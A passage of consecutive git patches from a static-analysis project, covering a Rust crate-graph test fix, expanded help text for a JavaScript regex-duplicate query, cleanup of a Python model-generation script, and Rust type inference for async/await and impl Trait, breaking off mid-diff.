6f25d7e35edcdb6da94f7c42045f202f3e758d89 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 10 Jun 2025 11:56:29 +0200 Subject: [PATCH 207/271] Rust: fix crate graph test --- .../extractor-tests/crate_graph/.gitignore | 1 + .../extractor-tests/crate_graph/Cargo.lock | 84 +++++++++++++++++++ .../crate_graph/crates.expected | 4 +- 3 files changed, 87 insertions(+), 2 deletions(-) create mode 100644 rust/ql/test/extractor-tests/crate_graph/.gitignore create mode 100644 rust/ql/test/extractor-tests/crate_graph/Cargo.lock diff --git a/rust/ql/test/extractor-tests/crate_graph/.gitignore b/rust/ql/test/extractor-tests/crate_graph/.gitignore new file mode 100644 index 00000000000..1a5314bd427 --- /dev/null +++ b/rust/ql/test/extractor-tests/crate_graph/.gitignore @@ -0,0 +1 @@ +!/Cargo.lock diff --git a/rust/ql/test/extractor-tests/crate_graph/Cargo.lock b/rust/ql/test/extractor-tests/crate_graph/Cargo.lock new file mode 100644 index 00000000000..efdbaf4f23f --- /dev/null +++ b/rust/ql/test/extractor-tests/crate_graph/Cargo.lock @@ -0,0 +1,84 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "cfg-if" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "md-5" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +dependencies = [ + "cfg-if", + "digest", +] + +[[package]] +name = "md5" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" + +[[package]] +name = "test" +version = "0.0.1" +dependencies = [ + "md-5", + "md5", +] + +[[package]] +name = "typenum" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" diff --git a/rust/ql/test/extractor-tests/crate_graph/crates.expected b/rust/ql/test/extractor-tests/crate_graph/crates.expected index acc8aa3dec8..f934618db9c 100644 --- a/rust/ql/test/extractor-tests/crate_graph/crates.expected +++ b/rust/ql/test/extractor-tests/crate_graph/crates.expected @@ -18,7 +18,7 @@ #-----| core -> Crate(core@0.0.0) #-----| compiler_builtins -> Crate(compiler_builtins@0.1.140) -#-----| Crate(cfg_if@1.0.0) +#-----| Crate(cfg_if@1.0.1) #-----| proc_macro -> Crate(proc_macro@0.0.0) #-----| alloc -> Crate(alloc@0.0.0) #-----| core -> Crate(core@0.0.0) @@ -89,7 +89,7 @@ main.rs: #-----| core -> Crate(core@0.0.0) #-----| std -> Crate(std@0.0.0) #-----| test -> Crate(test@0.0.0) -#-----| cfg_if -> Crate(cfg_if@1.0.0) +#-----| cfg_if -> Crate(cfg_if@1.0.1) #-----| digest -> Crate(digest@0.10.7) #-----| Crate(md5@0.7.0) From 417ca1acebc283a40aac1c1d4600c7961a17769a Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 11:55:41 +0200 Subject: [PATCH 208/271] Enchanced `js/regex/duplicate-in-character-class`'s qhelp --- .../DuplicateCharacterInCharacterClass.qhelp | 49 +++++++++++++++---- 1 file changed, 39 insertions(+), 10 deletions(-) diff --git a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp index 30ef990ec0c..5b6abf3c63f 100644 --- a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp +++ b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp @@ -5,26 +5,42 @@

    -Character classes in regular expressions represent sets of characters, so there is no need to specify -the same character twice in one character class. Duplicate characters in character classes are at best -useless, and may even indicate a latent bug. +Character classes in regular expressions (denoted by square brackets []) represent sets of characters where the pattern matches any single character from that set. Since character classes are sets, specifying the same character multiple times is redundant and often indicates a programming error.

    +

    +Common mistakes include: +

    +
      +
    • Using square brackets [] instead of parentheses () for grouping alternatives
    • +
    • Misunderstanding that special regex characters like |, *, +, (), - etc. work the same inside character classes as outside
    • +
    • Accidentally duplicating characters or escape sequences that represent the same character
    • +
    +
    -

    If the character was accidentally duplicated, remove it. If the character class was meant to be a -group, replace the brackets with parentheses.

    +

    +Examine each duplicate character to determine the intended behavior: +

    +
      +
    • If you see | inside square brackets (e.g., [a|b|c]): This is usually a mistake. The author likely intended alternation. Replace the character class with a group: (a|b|c)
    • +
    • If trying to match alternative strings, use parentheses () for grouping instead of square brackets
    • +
    • If the duplicate was truly accidental, remove the redundant characters
    • +
    • If trying to use special regex operators inside square brackets, note that most operators (like |) are treated as literal characters
    • +
    +

    +Important: Simply removing | characters from character classes is rarely the correct fix. Instead, analyze the pattern to understand what the author intended to match. +

    -In the following example, the character class [password|pwd] contains two instances each -of the characters d, p, s, and w. The programmer -most likely meant to write (password|pwd) (a pattern that matches either the string -"password" or the string "pwd"), and accidentally mistyped the enclosing -brackets. +Example 1: Confusing character classes with groups +

    +

    +The pattern [password|pwd] does not match "password" or "pwd" as intended. Instead, it matches any single character from the set {p, a, s, w, o, r, d, |}. Note that | has no special meaning inside character classes.

    @@ -33,10 +49,23 @@ brackets. To fix this problem, the regular expression should be rewritten to /(password|pwd) =/.

    +

    +Example 2: CSS unit matching +

    +

    +The pattern r?e[m|x] appears to be trying to match "rem" or "rex", but actually matches "re" followed by any of the characters {m, |, x}. The correct pattern should be r?e(m|x) or (rem|rex). +

    + +

    +Similarly, v[h|w|min|max] should be v(h|w|min|max) to properly match "vh", "vw", "vmin", or "vmax". +

    +
  • Mozilla Developer Network: JavaScript Regular Expressions.
  • +
  • MDN: Character Classes - Details on how character classes work.
  • +
  • MDN: Groups and Ranges - Proper use of grouping with parentheses.
  • From d68f5ebddb74c99f4e1fa6b4f2decb6c2338e1ad Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 11:59:44 +0200 Subject: [PATCH 209/271] Added quality tag to `js/regex/duplicate-in-character-class` --- .../query-suite/javascript-code-quality.qls.expected | 1 + javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected index 876b5f25fa2..451a8b4bf27 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected @@ -3,4 +3,5 @@ ql/javascript/ql/src/Expressions/ExprHasNoEffect.ql ql/javascript/ql/src/Expressions/MissingAwait.ql ql/javascript/ql/src/LanguageFeatures/SpuriousArguments.ql ql/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql +ql/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql ql/javascript/ql/src/RegExp/RegExpAlwaysMatches.ql diff --git a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql index 06b6d218aca..00366590fcb 100644 --- a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql +++ b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql @@ -5,7 +5,8 @@ * @kind problem * @problem.severity warning * @id js/regex/duplicate-in-character-class - * @tags reliability + * @tags quality + * reliability * correctness * regular-expressions * @precision very-high From ecc35e5a07cef07ca26375f7e2ba1b7f0fb1284c Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 10 Jun 2025 12:11:00 +0200 Subject: [PATCH 210/271] MaD generator: run formatter --- .../models-as-data/bulk_generate_mad.py | 31 +++++++++++++------ 1 file changed, 21 insertions(+), 10 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index fe47cf7177b..e6ac392bc2e 100755 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -16,10 +16,14 @@ import zipfile import tarfile import shutil + def missing_module(module_name: str) -> None: - print(f"ERROR: {module_name} is not installed. Please install it with 'pip install {module_name}'.") + print( + f"ERROR: {module_name} is not installed. Please install it with 'pip install {module_name}'." + ) sys.exit(1) + try: import yaml except ImportError: @@ -41,14 +45,19 @@ build_dir = os.path.join(gitroot, "mad-generation-build") # A project to generate models for -Project = TypedDict("Project", { - "name": Required[str], - "git-repo": str, - "git-tag": str, - "with-sinks": bool, - "with-sources": bool, - "with-summaries": bool, -}, total=False) +Project = TypedDict( + "Project", + { + "name": Required[str], + "git-repo": str, + "git-tag": str, + "with-sinks": bool, + "with-sources": bool, + "with-summaries": bool, + }, + total=False, +) + def should_generate_sinks(project: Project) -> bool: return project.get("with-sinks", True) @@ -107,7 +116,9 @@ def clone_project(project: Project) -> str: return target_dir -def run_in_parallel[T, U]( +def run_in_parallel[ + T, U +]( func: Callable[[T], U], items: List[T], *, From ca99add7d6dc8356c8e480a735e0fa2f071982e4 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 10 Jun 2025 12:14:39 +0200 Subject: [PATCH 211/271] MaD generator: address review --- misc/scripts/models-as-data/bulk_generate_mad.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index e6ac392bc2e..dfccf087803 100755 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -353,7 +353,7 @@ def download_dca_databases( ) targets = response["targets"] project_map = {project["name"]: project for project in projects} - artifact_map = {} + analyzed_databases = {} for data in targets.values(): downloads = data["downloads"] analyzed_database = downloads["analyzed_database"] @@ -364,12 +364,12 @@ def download_dca_databases( print(f"Skipping {pretty_name} as it is not in the list of projects") continue - if pretty_name in artifact_map: + if pretty_name in analyzed_databases: print( - f"Skipping previous database {artifact_map[pretty_name]['artifact_name']} for {pretty_name}" + f"Skipping previous database {analyzed_databases[pretty_name]['artifact_name']} for {pretty_name}" ) - artifact_map[pretty_name] = analyzed_database + analyzed_databases[pretty_name] = analyzed_database def download_and_decompress(analyzed_database: dict) -> str: artifact_name = analyzed_database["artifact_name"] @@ -397,8 +397,7 @@ def download_dca_databases( shutil.rmtree(artifact_unzipped_location, ignore_errors=True) # And then we extract it to build_dir/artifact_name zip_ref.extractall(artifact_unzipped_location) - # And then we iterate over the contents of the extracted directory - # and extract the language tar.gz file inside it + # And then we extract the language tar.gz file inside it artifact_tar_location = os.path.join( artifact_unzipped_location, f"{language}.tar.gz" ) @@ -411,7 +410,7 @@ def download_dca_databases( results = run_in_parallel( download_and_decompress, - list(artifact_map.values()), + list(analyzed_databases.values()), on_error=lambda db, exc: print( f"ERROR: Failed to download and decompress {db["artifact_name"]}: {exc}" ), @@ -422,7 +421,7 @@ def download_dca_databases( print(f"\n=== Fetched {len(results)} databases ===") - return [(project_map[n], r) for n, r in zip(artifact_map, results)] + return [(project_map[n], r) for n, r in zip(analyzed_databases, results)] def get_mad_destination_for_project(config, name: str) -> str: From c32e05cc8a520bac376dfba8602726e595f47c40 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 26 May 2025 14:45:31 +0200 Subject: [PATCH 212/271] Rust: Add `async` type inference tests --- .../test/library-tests/type-inference/main.rs | 41 +++++++++++++++++++ .../type-inference/type-inference.expected | 27 ++++++++++-- 2 files changed, 64 insertions(+), 4 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 36d3f5a82ea..2a0c28d4329 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1630,6 +1630,46 @@ mod overloadable_operators { } } +mod async_ { + use std::future::Future; + + struct S1; + + impl S1 { + pub fn f(self) {} // S1f + } + + async fn f1() -> S1 { + S1 + } + + fn f2() -> impl Future { + async { + S1 + } + } + + struct S2; + + impl Future for S2 { + type Output = S1; + + fn poll(self: std::pin::Pin<&mut Self>, _cx: &mut std::task::Context<'_>) -> std::task::Poll { + std::task::Poll::Ready(S1) + } + } + + fn f3() -> impl Future { + S2 + } + + pub async fn f() { + f1().await.f(); // $ MISSING: method=S1f + f2().await.f(); // $ MISSING: method=S1f + f3().await.f(); // $ MISSING: method=S1f + } +} + fn main() { field_access::f(); method_impl::f(); @@ -1649,4 +1689,5 @@ fn main() { try_expressions::f(); builtins::f(); operators::f(); + async_::f(); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index ff33ad89cb8..71bb5f85aec 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2374,8 +2374,27 @@ inferType | main.rs:1629:13:1629:20 | vec2_not | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1629:24:1629:26 | ! ... | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1629:25:1629:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1635:5:1635:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1636:5:1636:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1636:20:1636:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1636:41:1636:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1639:18:1639:21 | SelfParam | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1642:25:1644:5 | { ... } | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1643:9:1643:10 | S1 | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1646:41:1650:5 | { ... } | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1647:9:1649:9 | { ... } | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1648:13:1648:14 | S1 | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1657:17:1657:46 | SelfParam | | {EXTERNAL LOCATION} | Pin | +| main.rs:1657:17:1657:46 | SelfParam | Ptr | file://:0:0:0:0 | & | +| main.rs:1657:17:1657:46 | SelfParam | Ptr.&T | main.rs:1652:5:1652:14 | S2 | +| main.rs:1657:49:1657:51 | _cx | | file://:0:0:0:0 | & | +| main.rs:1657:49:1657:51 | _cx | &T | {EXTERNAL LOCATION} | Context | +| main.rs:1657:116:1659:9 | { ... } | | {EXTERNAL LOCATION} | Poll | +| main.rs:1657:116:1659:9 | { ... } | T | main.rs:1636:5:1636:14 | S1 | +| main.rs:1658:13:1658:38 | ...::Ready(...) | | {EXTERNAL LOCATION} | Poll | +| main.rs:1658:13:1658:38 | ...::Ready(...) | T | main.rs:1636:5:1636:14 | S1 | +| main.rs:1658:36:1658:37 | S1 | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1662:41:1664:5 | { ... } | | main.rs:1652:5:1652:14 | S2 | +| main.rs:1663:9:1663:10 | S2 | | main.rs:1652:5:1652:14 | S2 | +| main.rs:1667:9:1667:12 | f1(...) | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1675:5:1675:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1676:5:1676:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1676:20:1676:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1676:41:1676:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | testFailures From e6109cfcf17c21440d4fbdd60e3ba3b08c3aace4 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 27 May 2025 11:34:30 +0200 Subject: [PATCH 213/271] Rust: Add type inference tests for `impl Trait` --- .../test/library-tests/type-inference/main.rs | 32 +++++++++++++++++++ .../type-inference/type-inference.expected | 18 ++++++++--- 2 files changed, 46 insertions(+), 4 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 2a0c28d4329..e11af1a50e9 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1670,6 +1670,37 @@ mod async_ { } } + +mod impl_trait { + struct S1; + + trait Trait1 { + fn f1(&self) {} // Trait1f1 + } + + trait Trait2 { + fn f2(&self) {} // Trait2f2 + } + + impl Trait1 for S1 { + fn f1(&self) {} // S1f1 + } + + impl Trait2 for S1 { + fn f2(&self) {} // S1f2 + } + + fn f1() -> impl Trait1 + Trait2 { + S1 + } + + pub fn f() { + let x = f1(); + x.f1(); // $ MISSING: method=Trait1f1 + x.f2(); // $ MISSING: method=Trait2f2 + } +} + fn main() { field_access::f(); method_impl::f(); @@ -1690,4 +1721,5 @@ fn main() { builtins::f(); operators::f(); async_::f(); + impl_trait::f(); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 71bb5f85aec..d38a8c39373 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2393,8 +2393,18 @@ inferType | main.rs:1662:41:1664:5 | { ... } | | main.rs:1652:5:1652:14 | S2 | | main.rs:1663:9:1663:10 | S2 | | main.rs:1652:5:1652:14 | S2 | | main.rs:1667:9:1667:12 | f1(...) | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1675:5:1675:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1676:5:1676:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1676:20:1676:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1676:41:1676:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1678:15:1678:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1678:15:1678:19 | SelfParam | &T | main.rs:1677:5:1679:5 | Self [trait Trait1] | +| main.rs:1682:15:1682:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1682:15:1682:19 | SelfParam | &T | main.rs:1681:5:1683:5 | Self [trait Trait2] | +| main.rs:1686:15:1686:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1686:15:1686:19 | SelfParam | &T | main.rs:1675:5:1675:14 | S1 | +| main.rs:1690:15:1690:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1690:15:1690:19 | SelfParam | &T | main.rs:1675:5:1675:14 | S1 | +| main.rs:1693:37:1695:5 | { ... } | | main.rs:1675:5:1675:14 | S1 | +| main.rs:1694:9:1694:10 | S1 | | main.rs:1675:5:1675:14 | S1 | +| main.rs:1706:5:1706:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1707:5:1707:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1707:20:1707:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1707:41:1707:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | testFailures From 821f2fd6812c6e6d5391f004915c441a1f4f90f5 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 26 May 2025 21:25:07 +0200 Subject: [PATCH 214/271] Rust: Type inference for `.await` expressions --- .../codeql/rust/frameworks/stdlib/Stdlib.qll | 16 +++++ rust/ql/lib/codeql/rust/internal/Type.qll | 56 ++++++++++++++- .../codeql/rust/internal/TypeInference.qll | 68 +++++++++++++++++-- .../lib/codeql/rust/internal/TypeMention.qll | 50 +++++++++++++- .../test/library-tests/type-inference/main.rs | 10 +-- .../type-inference/type-inference.expected | 43 +++++++++++- 6 files changed, 229 insertions(+), 14 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index e7d9cac24e9..f8a65d9dcb9 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -49,3 +49,19 @@ class ResultEnum extends Enum { /** Gets the `Err` variant. */ Variant getErr() { result = this.getVariant("Err") } } + +/** + * The [`Future` trait][1]. + * + * [1]: https://doc.rust-lang.org/std/future/trait.Future.html + */ +class FutureTrait extends Trait { + FutureTrait() { this.getCanonicalPath() = "core::future::future::Future" } + + /** Gets the `Output` associated type. */ + pragma[nomagic] + TypeAlias getOutputType() { + result = this.getAssocItemList().getAnAssocItem() and + result.getName().getText() = "Output" + } +} diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index db7938b3cf1..7661b3ea279 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -15,10 +15,14 @@ newtype TType = TTrait(Trait t) or TArrayType() or // todo: add size? TRefType() or // todo: add mut? + TImplTraitType(int bounds) { + bounds = any(ImplTraitTypeRepr impl).getTypeBoundList().getNumberOfBounds() + } or TTypeParamTypeParameter(TypeParam t) or TAssociatedTypeTypeParameter(TypeAlias t) { any(TraitItemNode trait).getAnAssocItem() = t } or TRefTypeParameter() or - TSelfTypeParameter(Trait t) + TSelfTypeParameter(Trait t) or + TImplTraitTypeParameter(ImplTraitType t, int i) { i in [0 .. t.getNumberOfBounds() - 1] } /** * A type without type arguments. @@ -115,6 +119,9 @@ class TraitType extends Type, TTrait { TraitType() { this = TTrait(trait) } + /** Gets the underlying trait. */ + Trait getTrait() { result = trait } + override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -176,6 +183,33 @@ class RefType extends Type, TRefType { override Location getLocation() { result instanceof EmptyLocation } } +/** + * An [`impl Trait`][1] type. + * + * We represent `impl Trait` types as generic types with as many type parameters + * as there are bounds. + * + * [1] https://doc.rust-lang.org/book/ch10-02-traits.html#traits-as-parameters + */ +class ImplTraitType extends Type, TImplTraitType { + private int bounds; + + ImplTraitType() { this = TImplTraitType(bounds) } + + /** Gets the number of bounds of this `impl Trait` type. */ + int getNumberOfBounds() { result = bounds } + + override StructField getStructField(string name) { none() } + + override TupleField getTupleField(int i) { none() } + + override TypeParameter getTypeParameter(int i) { result = TImplTraitTypeParameter(this, i) } + + override string toString() { result = "impl Trait ..." } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** A type parameter. */ abstract class TypeParameter extends Type { override StructField getStructField(string name) { none() } @@ -281,6 +315,26 @@ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { override Location getLocation() { result = trait.getLocation() } } +/** + * An `impl Trait` type parameter. + */ +class ImplTraitTypeParameter extends TypeParameter, TImplTraitTypeParameter { + private ImplTraitType implTraitType; + private int i; + + ImplTraitTypeParameter() { this = TImplTraitTypeParameter(implTraitType, i) } + + /** Gets the `impl Trait` type that this parameter belongs to. */ + ImplTraitType getImplTraitType() { result = implTraitType } + + /** Gets the index of this type parameter. */ + int getIndex() { result = i } + + override string toString() { result = "impl Trait<" + i.toString() + ">" } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** * A type abstraction. I.e., a place in the program where type variables are * introduced. diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 8399bde8aa8..c030cca4433 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -77,6 +77,16 @@ private module Input1 implements InputSig1 { apos.asMethodTypeArgumentPosition() = ppos.asTypeParam().getPosition() } + private int getImplTraitTypeParameterId(ImplTraitTypeParameter tp) { + tp = + rank[result](ImplTraitTypeParameter tp0, int bounds, int i | + bounds = tp0.getImplTraitType().getNumberOfBounds() and + i = tp0.getIndex() + | + tp0 order by bounds, i + ) + } + int getTypeParameterId(TypeParameter tp) { tp = rank[result](TypeParameter tp0, int kind, int id | @@ -90,6 +100,9 @@ private module Input1 implements InputSig1 { node = tp0.(AssociatedTypeTypeParameter).getTypeAlias() or node = tp0.(SelfTypeParameter).getTrait() ) + or + kind = 2 and + id = getImplTraitTypeParameterId(tp0) | tp0 order by kind, id ) @@ -228,7 +241,11 @@ private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePat or n1 = n2.(ParenExpr).getExpr() or - n1 = n2.(BlockExpr).getStmtList().getTailExpr() + n2 = + any(BlockExpr be | + not be.isAsync() and + n1 = be.getStmtList().getTailExpr() + ) or n1 = n2.(IfExpr).getABranch() or @@ -1010,6 +1027,29 @@ private StructType inferLiteralType(LiteralExpr le) { ) } +pragma[nomagic] +private AssociatedTypeTypeParameter getFutureOutputTypeParameter() { + result.getTypeAlias() = any(FutureTrait ft).getOutputType() +} + +pragma[nomagic] +private Type inferAwaitExprType(AwaitExpr ae, TypePath path) { + exists(TypePath exprPath | result = inferType(ae.getExpr(), exprPath) | + exprPath + .isCons(TImplTraitTypeParameter(_, _), + any(TypePath path0 | path0.isCons(getFutureOutputTypeParameter(), path))) + or + path = exprPath and + not ( + exprPath = TypePath::singleton(TImplTraitTypeParameter(_, _)) and + result.(TraitType).getTrait() instanceof FutureTrait + ) and + not exprPath + .isCons(TImplTraitTypeParameter(_, _), + any(TypePath path0 | path0.isCons(getFutureOutputTypeParameter(), _))) + ) +} + private module MethodCall { /** An expression that calls a method. */ abstract private class MethodCallImpl extends Expr { @@ -1119,12 +1159,17 @@ private predicate methodCandidateTrait(Type type, Trait trait, string name, int } private module IsInstantiationOfInput implements IsInstantiationOfInputSig { + pragma[nomagic] + private predicate isMethodCall(MethodCall mc, Type rootType, string name, int arity) { + rootType = mc.getTypeAt(TypePath::nil()) and + name = mc.getMethodName() and + arity = mc.getArity() + } + pragma[nomagic] predicate potentialInstantiationOf(MethodCall mc, TypeAbstraction impl, TypeMention constraint) { exists(Type rootType, string name, int arity | - rootType = mc.getTypeAt(TypePath::nil()) and - name = mc.getMethodName() and - arity = mc.getArity() and + isMethodCall(mc, rootType, name, arity) and constraint = impl.(ImplTypeAbstraction).getSelfTy() | methodCandidateTrait(rootType, mc.getTrait(), name, arity, impl) @@ -1161,6 +1206,12 @@ private Function getMethodFromImpl(MethodCall mc) { ) } +bindingset[trait, name] +pragma[inline_late] +private Function getTraitMethod(TraitType trait, string name) { + result = getMethodSuccessor(trait.getTrait(), name) +} + /** * Gets a method that the method call `mc` resolves to based on type inference, * if any. @@ -1172,6 +1223,11 @@ private Function inferMethodCallTarget(MethodCall mc) { // The type of the receiver is a type parameter and the method comes from a // trait bound on the type parameter. result = getTypeParameterMethod(mc.getTypeAt(TypePath::nil()), mc.getMethodName()) + or + // The type of the receiver is an `impl Trait` type. + result = + getTraitMethod(mc.getTypeAt(TypePath::singleton(TImplTraitTypeParameter(_, _))), + mc.getMethodName()) } cached @@ -1347,6 +1403,8 @@ private module Cached { or result = inferLiteralType(n) and path.isEmpty() + or + result = inferAwaitExprType(n, path) } } @@ -1363,7 +1421,7 @@ private module Debug { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and filepath.matches("%/main.rs") and - startline = 948 + startline = 1334 ) } diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index 7e947a35bc4..fab4c088b28 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -15,7 +15,7 @@ abstract class TypeMention extends AstNode { /** Gets the sub mention at `path`. */ pragma[nomagic] - private TypeMention getMentionAt(TypePath path) { + TypeMention getMentionAt(TypePath path) { path.isEmpty() and result = this or @@ -150,6 +150,54 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { not exists(resolved.(TypeAlias).getTypeRepr()) and result = super.resolveTypeAt(typePath) } + + pragma[nomagic] + private TypeAlias getResolvedTraitAlias(string name) { + exists(TraitItemNode trait | + trait = resolvePath(path) and + result = trait.getAnAssocItem() and + name = result.getName().getText() + ) + } + + pragma[nomagic] + private TypeRepr getAssocTypeArg(string name) { + exists(AssocTypeArg arg | + arg = 